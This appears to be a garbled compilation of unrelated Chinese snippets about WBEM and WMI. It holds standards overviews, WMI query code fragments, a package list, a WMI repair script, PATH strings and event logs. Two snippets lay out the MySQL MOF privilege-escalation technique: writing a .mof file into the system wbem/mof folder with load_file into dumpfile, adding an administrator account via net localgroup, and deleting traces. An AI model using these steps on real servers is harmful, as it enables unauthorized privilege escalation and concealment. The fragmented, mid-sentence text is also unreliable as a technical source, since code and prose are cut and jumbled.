本文将深入探讨 DMTF 的 CIM 和 WBEM 标准,以及它们在现代 IT 管理中的应用。 1. 网络基于的企业管理(WBEM) 网络基于的企业管理(WBEM)是一个集合的标准,它为实现跨网络的系统管理提供了一系列协议和技术。WBEM 基于 CIM 模型,提供了存储、检索和传输管理信息的方法。 WBEM 的组成 WBEM 包括了 CIM 对象管理器(CIMOM)、WBEM 服务器和客户端以及一组协议,例如 CIM 操作协议(CIM-XML)。 3.2. WBEM 的应用 通过 WBEM,组织可以实现跨网络、跨平台和跨厂商的系统管理。它为实现自动化和集中化的管理提供了必要的工具和框架。 4. CIM/WBEM 在现代 IT 管理中的应用 CIM 和 WBEM 标准为现代 IT 管理提供了强大的工具。
| WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator ); CHECKWMIHR(hr 如果该参数包含WBEM_FLAG_RETURN_IMMEDIATELY,则说明该调用是个半同步调用,否则是同步调用。 现在我说一下WMI中同步和半同步两者的区别。 回到ExecQuery这个函数,lFlags还有个非常重要的可选值是WBEM_FLAG_FORWARD_ONLY。该参数让ExecQuery函数返回的枚举是个Forward-Only的。 所以lFlags一般是WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY。 pCtx一般设置为NULL。 于是我们要调用BeginEnumeration,并传WBEM_FLAG_LOCAL_ONLY,即枚举该类自己的成员。在枚举完之后,一般要调用EndEnumeration。
bstr_t(L"WQL"), _bstr_t(L"SELECT ProcessorId, SerialNumber FROM Win32_Processor"), WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator ); if (FAILED(hr)) NULL; ULONG uReturn = 0; while (pEnumerator) { HRESULT hr = pEnumerator->Next(WBEM_INFINITE
comsuppw.lib") 或 comsuppwd.lib(d一般代表debug版本) HRESULT hres = (*pSvc)->ExecQuery((_bstr_t)_T("WQL"), szQuery, WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, pEnumerator); 以下是MSDN链接: https://msdn.microsoft.com/zh-cn/library
pLogicalConsumer, long lNumObjects, IWbemClassObject** apObjects) { ObjectLock lock(this); HRESULT hr = WBEM_S_NO_ERROR OutputTrace("CEventConsumerSink::IndicateToConsumer"); } } else { hr = WBEM_E_NOT_FOUND *pLogicalConsumer, /* [out] */ IWbemUnboundObjectSink **ppConsumer) { HRESULT hr = WBEM_E_NOT_FOUND ppConsumer); if (FAILED(hr)) { return hr; } } else { hr = WBEM_E_NOT_FOUND
sblim-cmpi-dns.i386 : SBLIM WBEM-SMT Dns sblim-cmpi-samba.i386 : SBLIM WBEM-SMT Samba sblim-cmpi-samba-devel.i386 : SBLIM WBEM-SMT Samba – Header Development Files sblim-cmpi-samba-test.i386 : SBLIM WBEM-SMT Samba – Testcase Files sblim-tools-libra.i386 : SBLIM Common Resource Access Library for WBEM-SMT tasks sblim-tools-libra-devel.i386 : SBLIM Common Resource Access Library for WBEM-SMT : tasks Header Development
先建立一个临时文件夹 我这里是c:\temp 然后建立一个FIXWMI.CMD文件 文件内容如下: @echo on cd /d c:\temp if not exist %windir%\system32\wbem goto TryInstall cd /d %windir%\system32\wbem net stop winmgmt winmgmt /kill if exist Rep_bak
--- WMI相关概念 1.WBEM它的全称:Web Based Enterprise Management(基于web的企业管理),它是一种行业规范,建立在企业网络中访问和共享管理信息的标准。 2.WMI它的全称:Windows Management Instrumentation(Windows管理工具),它是WBEM的Windows实现,也就是它要遵守WBEM规则。 其中这个两个文件都保存在\Windows\System32\wbem目录下。 ? ? 2.WMI Infrastructure(WMI基础结构) WMI的基础结构是Windows系统的系统组件。
Windows Management Instrumentation (WMI,Windows管理规范) 是Web-Based Enterprise Management (WBEM)的Windows实现 WBEM的数据模型是CIM(Common Information Model,公共信息模型)。
重启后: 关闭:service mysqld stop 启动:service mysqld start 1、原理 利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 2、条件 1、windows 03及以下版本 2、mysql启动身份具有权限去读写 c:/windows/system32/wbem/mof目录 3、secure-file-priv参数不为 将上面的脚本上传到有读写权限的目录下,因为mof目录直接无法写入 这里我上传到了 C:/phpStudy/WWW/222.mof 我们使用sql语句将文件导入到 C:/windows/system32/wbem dumpfile导出一行数据 payload: select load_file("C:/phpStudy/WWW/222.mof") into dumpfile "c:/windows/system32/wbem administrator语句即可 net localgroup administrators hpdoger /add 4、删号 net stop winmgmt del c:/windows/system32/wbem
是WBEM。WMI是对WBEM模型的一种实现。WBEM即Web-Based Enterprise Management,它是一个行业倡议:开发一款在企业环境下访问管理信息的标准技术。 WBEM倡议目前已经得到微软、甲骨文、惠普等大公司的支持。 虽然这种标准已被广泛支持,但是WMI技术可能还是鲜为人知。其实它的历史并不短暂。 这个两个文件都保存在%Windir%\System32\Wbem目录下。 通过以上对WMI的介绍,我想大家应该对WMI有了个初步的认识。
method if Succeeded(FWbemLocator.ConnectServer(strNetworkResource, strUser, strPassword, strLocale, WBEM_FLAG_CONNECT_USE_MAX_WAIT IWbemServices pointer to make requests of WMI Succeed := FWbemServices.ExecQuery('WQL', WQL, WBEM_FLAG_FORWARD_ONLY memo.lines.add('Running WMI query...'); // Get the data from the query while (ppEnum.Next(WBEM_INFINITE
template<typename T> HRESULT CAsynNotifyQuery<T>::Excute( CComPtr<IWbemServices> pSvc ) { HRESULT hr = WBEM_S_FALSE ExecNotificationQueryAsync( CComBSTR("WQL"), CComBSTR(m_wszWQLQuery.c_str()), WBEM_FLAG_SEND_STATUS * pObjParam); HRESULT DealIWbemClassObject(CComPtr<IWbemClassObject> pObj); private: // 返回值为WBEM_S_NO_ERROR CComPtr<IWbemClassObject> pObj = apObjArray[i]; DealIWbemClassObject(pObj); } return WBEM_NO_ERROR
Intel\Intel(R) Management Engine Components\iCLS\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem Program Files\Common Files\Intel\WirelessCommon\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem Intel\Intel(R) Management Engine Components\iCLS\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem Program Files\Common Files\Intel\WirelessCommon\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem Program Files\Common Files\Intel\WirelessCommon\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem
Administrator,关闭电源:其他(计划外) 关机类型:关闭电源 原因代码:0x0 通过PowerShell执行stop-computer关机 EventID=1074 进程:C:\Windows\system32\wbem Administrator,重启:其他(计划外) 关机类型:重启 原因代码:0x0 通过PowerShell执行restart-computer重启 EventID=1074 进程:C:\Windows\system32\wbem 关机类型:重启 原因代码:0x80020010 安装完Windows自带功能角色,勾选了“如果需要,自动重新启动目标服务器” EventID=1074 进程:C:\Windows\system32\wbem
Java\javapath;C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem Java\javapath;C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
IEnumWbemClassObject* pEnumerator = NULL; // 执行WSQL语句 hres = pSvc->ExecQuery(bstr_t("WQL"),bstr_t(SQL),WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,NULL,&pEnumerator); if (FAILED(hres)) { pSvc->Release pclsObj; ULONG uReturn = 0; while (pEnumerator) { HRESULT hr = pEnumerator->Next(WBEM_INFINITE while (pEnumerator) { HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn); if
C:\Windows\System32\wbem\wmiutils.dll C:\Windows\System32\wbemcomn.dll C:\Windows\System32\wbem\wbemdisp.dll C:\Windows\System32\wbem\fastprox.dll ?
WMI 是 Windows Management Instrumentation 的缩写,它是 Microsoft 对 CIM (Common Information Model,通用信息模型) 和 WBEM 在管理远程盒子方面,WBEM 标准开始发挥作用,其中包括 DCOM 和 WS-Man (如果你不理解这些术语,请不要担心,请继续阅读)。WQL 是 WMI 基础 SQL 语法,因此不区分大小写。 存储类的所有静态数据的数据库,存储库由 MOF (managed object format,托管对象格式) 文件定义,MOF 文件定义了结构、类、名称空间等,可以在 %WINDIR%\System32\Wbem MOF 文件:MOF 文件基本上用于定义 WMI 命名空间、类、provider 等,通常位于 %WINDIR%\System32\Wbem 下,扩展名为 MOF。
load_file('c:\boot.ini') 移动文件:select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。 也就是说mof提权其实是windows的问题,而不是mysql的漏洞。 3.导出mof文件 select load_file('C:\RECYCLER\1.mof') into dumpfile 'c:/windows/system32/wbem/mof/test.mof' 35,112 代表 ASCII 码值表 成功执行之后,会在c:/windows/system32/wbem/mof/good/目录下多出个test.mof文件。 如果mof文件不能执行,则会在c:/windows/system32/wbem/mof/bad/目录下多出个test.mof文件。 4.清理痕迹。